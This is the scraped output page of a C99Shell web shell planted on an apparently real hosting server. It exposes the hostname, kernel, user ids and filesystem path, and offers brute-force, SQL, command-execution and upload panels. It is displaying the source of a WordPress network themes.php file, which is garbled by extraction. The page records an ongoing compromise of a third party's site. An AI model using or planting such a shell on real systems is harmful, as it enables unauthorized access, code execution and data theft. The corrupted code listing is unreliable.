!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-admin/network/   drwxr-xr-x
Free 182.3 GB of 490.84 GB (37.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     themes.php (11.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Multisite themes administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once( dirname__FILE__ ) . '/admin.php' );

if ( !
current_user_can('manage_network_themes') )
    
wp_die__'Sorry, you are not allowed to manage network themes.' ) );

$wp_list_table _get_list_table('WP_MS_Themes_List_Table');
$pagenum $wp_list_table->get_pagenum();

$action $wp_list_table->current_action();

$s = isset($_REQUEST['s']) ? $_REQUEST['s'] : '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args = array( 'enabled''disabled''deleted''error' );
$_SERVER['REQUEST_URI'] = remove_query_arg$temp_args$_SERVER['REQUEST_URI'] );
$referer remove_query_arg$temp_argswp_get_referer() );

if ( 
$action ) {
    switch ( 
$action ) {
        case 
'enable':
            
check_admin_referer('enable-theme_' $_GET['theme']);
            
WP_Theme::network_enable_theme$_GET['theme'] );
            if ( 
false === strpos$referer'/network/themes.php' ) )
                
wp_redirectnetwork_admin_url'themes.php?enabled=1' ) );
            else
                
wp_safe_redirectadd_query_arg'enabled'1$referer ) );
            exit;
        case 
'disable':
            
check_admin_referer('disable-theme_' $_GET['theme']);
            
WP_Theme::network_disable_theme$_GET['theme'] );
            
wp_safe_redirectadd_query_arg'disabled''1'$referer ) );
            exit;
        case 
'enable-selected':
            
check_admin_referer('bulk-themes');
            
$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
            if ( empty(
$themes) ) {
                
wp_safe_redirectadd_query_arg'error''none'$referer ) );
                exit;
            }
            
WP_Theme::network_enable_theme( (array) $themes );
            
wp_safe_redirectadd_query_arg'enabled'count$themes ), $referer ) );
            exit;
        case 
'disable-selected':
            
check_admin_referer('bulk-themes');
            
$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
            if ( empty(
$themes) ) {
                
wp_safe_redirectadd_query_arg'error''none'$referer ) );
                exit;
            }
            
WP_Theme::network_disable_theme( (array) $themes );
            
wp_safe_redirectadd_query_arg'disabled'count$themes ), $referer ) );
            exit;
        case 
'update-selected' :
            
check_admin_referer'bulk-themes' );

            if ( isset( 
$_GET['themes'] ) )
                
$themes explode','$_GET['themes'] );
            elseif ( isset( 
$_POST['checked'] ) )
                
$themes = (array) $_POST['checked'];
            else
                
$themes = array();

            
$title __'Update Themes' );
            
$parent_file 'themes.php';

            require_once(
ABSPATH 'wp-admin/admin-header.php');

            echo 
'<div class="wrap">';
            echo 
'<h1>' esc_html$title ) . '</h1>';

            
$url self_admin_url('update.php?action=update-selected-themes&amp;themes=' urlencodejoin(','$themes) ));
            
$url wp_nonce_url($url'bulk-update-themes');

            echo 
"<iframe src='$url' style='width: 100%; height:100%; min-height:850px;'></iframe>";
            echo 
'</div>';
            require_once(
ABSPATH 'wp-admin/admin-footer.php');
            exit;
        case 
'delete-selected':
            if ( ! 
current_user_can'delete_themes' ) ) {
                
wp_die__('Sorry, you are not allowed to delete themes for this site.') );
            }

            
check_admin_referer'bulk-themes' );

            
$themes = isset( $_REQUEST['checked'] ) ? (array) $_REQUEST['checked'] : array();

            if ( empty( 
$themes ) ) {
                
wp_safe_redirectadd_query_arg'error''none'$referer ) );
                exit;
            }

            
$themes array_diff$themes, array( get_option'stylesheet' ), get_option'template' ) ) );

            if ( empty( 
$themes ) ) {
                
wp_safe_redirectadd_query_arg'error''main'$referer ) );
                exit;
            }

            
$theme_info = array();
            foreach ( 
$themes as $key => $theme ) {
                
$theme_info$theme ] = wp_get_theme$theme );
            }

            include(
ABSPATH 'wp-admin/update.php');

            
$parent_file 'themes.php';

            if ( ! isset( 
$_REQUEST['verify-delete'] ) ) {
                
wp_enqueue_script'jquery' );
                require_once( 
ABSPATH 'wp-admin/admin-header.php' );
                
$themes_to_delete count$themes );
                
?>
            <div class="wrap">
                <?php if ( == $themes_to_delete ) : ?>
                    <h1><?php _e'Delete Theme' ); ?></h1>
                    <div class="error"><p><strong><?php _e'Caution:' ); ?></strong> <?php _e'This theme may be active on other sites in the network.' ); ?></p></div>
                    <p><?php _e'You are about to remove the following theme:' ); ?></p>
                <?php else : ?>
                    <h1><?php _e'Delete Themes' ); ?></h1>
                    <div class="error"><p><strong><?php _e'Caution:' ); ?></strong> <?php _e'These themes may be active on other sites in the network.' ); ?></p></div>
                    <p><?php _e'You are about to remove the following themes:' ); ?></p>
                <?php endif; ?>
                    <ul class="ul-disc">
                    <?php
                        
foreach ( $theme_info as $theme ) {
                            echo 
'<li>' sprintf(
                                
/* translators: 1: theme name, 2: theme author */
                                
_x'%1$s by %2$s''theme' ),
                                
'<strong>' $theme->display'Name' ) . '</strong>',
                                
'<em>' $theme->display'Author' ) . '</em>'
                            
) . '</li>';
                        }
                    
?>
                    </ul>
                <?php if ( == $themes_to_delete ) : ?>
                    <p><?php _e'Are you sure you wish to delete this theme?' ); ?></p>
                <?php else : ?>
                    <p><?php _e'Are you sure you wish to delete these themes?' ); ?></p>
                <?php endif; ?>
                <form method="post" action="<?php echo esc_url($_SERVER['REQUEST_URI']); ?>" style="display:inline;">
                    <input type="hidden" name="verify-delete" value="1" />
                    <input type="hidden" name="action" value="delete-selected" />
                    <?php
                        
foreach ( (array) $themes as $theme ) {
                            echo 
'<input type="hidden" name="checked[]" value="' esc_attr($theme) . '" />';
                        }

                        
wp_nonce_field'bulk-themes' );

                        if ( 
== $themes_to_delete ) {
                            
submit_button__'Yes, delete this theme' ), '''submit'false );
                        } else {
                            
submit_button__'Yes, delete these themes' ), '''submit'false );
                        }
                    
?>
                </form>
                <?php
                $referer 
wp_get_referer();
                
?>
                <form method="post" action="<?php echo $referer esc_url$referer ) : ''?>" style="display:inline;">
                    <?php submit_button__'No, return me to the theme list' ), '''submit'false ); ?>
                </form>
            </div>
                <?php
                
require_once(ABSPATH 'wp-admin/admin-footer.php');
                exit;
            } 
// Endif verify-delete

            
foreach ( $themes as $theme ) {
                
$delete_result delete_theme$themeesc_urladd_query_arg( array(
                    
'verify-delete' => 1,
                    
'action' => 'delete-selected',
                    
'checked' => $_REQUEST['checked'],
                    
'_wpnonce' => $_REQUEST['_wpnonce']
                ), 
network_admin_url'themes.php' ) ) ) );
            }

            
$paged = ( $_REQUEST['paged'] ) ? $_REQUEST['paged'] : 1;
            
wp_redirectadd_query_arg( array(
                
'deleted' => count$themes ),
                
'paged' => $paged,
                
's' => $s
            
), network_admin_url'themes.php' ) ) );
            exit;
        default:
            
$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
            if ( empty( 
$themes ) ) {
                
wp_safe_redirectadd_query_arg'error''none'$referer ) );
                exit;
            }
            
check_admin_referer'bulk-themes' );

            
/** This action is documented in wp-admin/network/site-themes.php */
            
$referer apply_filters'handle_network_bulk_actions-' get_current_screen()->id$referer$action$themes );

            
wp_safe_redirect$referer );
            exit;
    }

}

$wp_list_table->prepare_items();

add_thickbox();

add_screen_option'per_page' );

get_current_screen()->add_help_tab( array(
    
'id'      => 'overview',
    
'title'   => __('Overview'),
    
'content' =>
        
'<p>' __('This screen enables and disables the inclusion of themes available to choose in the Appearance menu for each site. It does not activate or deactivate which theme a site is currently using.') . '</p>' .
        
'<p>' __('If the network admin disables a theme that is in use, it can still remain selected on that site. If another theme is chosen, the disabled theme will not appear in the site&#8217;s Appearance > Themes screen.') . '</p>' .
        
'<p>' __('Themes can be enabled on a site by site basis by the network admin on the Edit Site screen (which has a Themes tab); get there via the Edit action link on the All Sites screen. Only network admins are able to install or edit themes.') . '</p>'
) );

get_current_screen()->set_help_sidebar(
    
'<p><strong>' __('For more information:') . '</strong></p>' .
    
'<p>' __('<a href="https://codex.wordpress.org/Network_Admin_Themes_Screen">Documentation on Network Themes</a>') . '</p>' .
    
'<p>' __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
);

get_current_screen()->set_screen_reader_content( array(
    
'heading_views'      => __'Filter themes list' ),
    
'heading_pagination' => __'Themes list navigation' ),
    
'heading_list'       => __'Themes list' ),
) );

$title __('Themes');
$parent_file 'themes.php';

wp_enqueue_script'updates' );
wp_enqueue_script'theme-preview' );

require_once(
ABSPATH 'wp-admin/admin-header.php');

?>

<div class="wrap">
<h1><?php echo esc_html$title ); if ( current_user_can('install_themes') ) { ?> <a href="theme-install.php" class="page-title-action"><?php echo esc_html_x('Add New''theme'); ?></a><?php }
if ( isset( 
$_REQUEST['s'] ) && strlen$_REQUEST['s'] ) ) {
    
/* translators: %s: search keywords */
    
printf'<span class="subtitle">' __'Search results for &#8220;%s&#8221;' ) . '</span>'esc_html$s ) );
}
?>
</h1>

<?php
if ( isset( $_GET['enabled'] ) ) {
    
$enabled absint$_GET['enabled'] );
    if ( 
== $enabled ) {
        
$message __'Theme enabled.' );
    } else {
        
$message _n'%s theme enabled.''%s themes enabled.'$enabled );
    }
    echo 
'<div id="message" class="updated notice is-dismissible"><p>' sprintf$messagenumber_format_i18n$enabled ) ) . '</p></div>';
} elseif ( isset( 
$_GET['disabled'] ) ) {
    
$disabled absint$_GET['disabled'] );
    if ( 
== $disabled ) {
        
$message __'Theme disabled.' );
    } else {
        
$message _n'%s theme disabled.''%s themes disabled.'$disabled );
    }
    echo 
'<div id="message" class="updated notice is-dismissible"><p>' sprintf$messagenumber_format_i18n$disabled ) ) . '</p></div>';
} elseif ( isset( 
$_GET['deleted'] ) ) {
    
$deleted absint$_GET['deleted'] );
    if ( 
== $deleted ) {
        
$message __'Theme deleted.' );
    } else {
        
$message _n'%s theme deleted.''%s themes deleted.'$deleted );
    }
    echo 
'<div id="message" class="updated notice is-dismissible"><p>' sprintf$messagenumber_format_i18n$deleted ) ) . '</p></div>';
} elseif ( isset( 
$_GET['error'] ) && 'none' == $_GET['error'] ) {
    echo 
'<div id="message" class="error notice is-dismissible"><p>' __'No theme selected.' ) . '</p></div>';
} elseif ( isset( 
$_GET['error'] ) && 'main' == $_GET['error'] ) {
    echo 
'<div class="error notice is-dismissible"><p>' __'You cannot delete a theme while it is active on the main site.' ) . '</p></div>';
}

?>

<form method="get">
<?php $wp_list_table->search_box__'Search Installed Themes' ), 'theme' ); ?>
</form>

<?php
$wp_list_table
->views();

if ( 
'broken' == $status )
    echo 
'<p class="clear">' __'The following themes are installed but incomplete.' ) . '</p>';
?>

<form id="bulk-action-form" method="post">
<input type="hidden" name="theme_status" value="<?php echo esc_attr($status?>" />
<input type="hidden" name="paged" value="<?php echo esc_attr($page?>" />

<?php $wp_list_table->display(); ?>
</form>

</div>

<?php
wp_print_request_filesystem_credentials_modal
();
wp_print_admin_notice_templates();
wp_print_update_row_templates();

include(
ABSPATH 'wp-admin/admin-footer.php');

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0122 ]--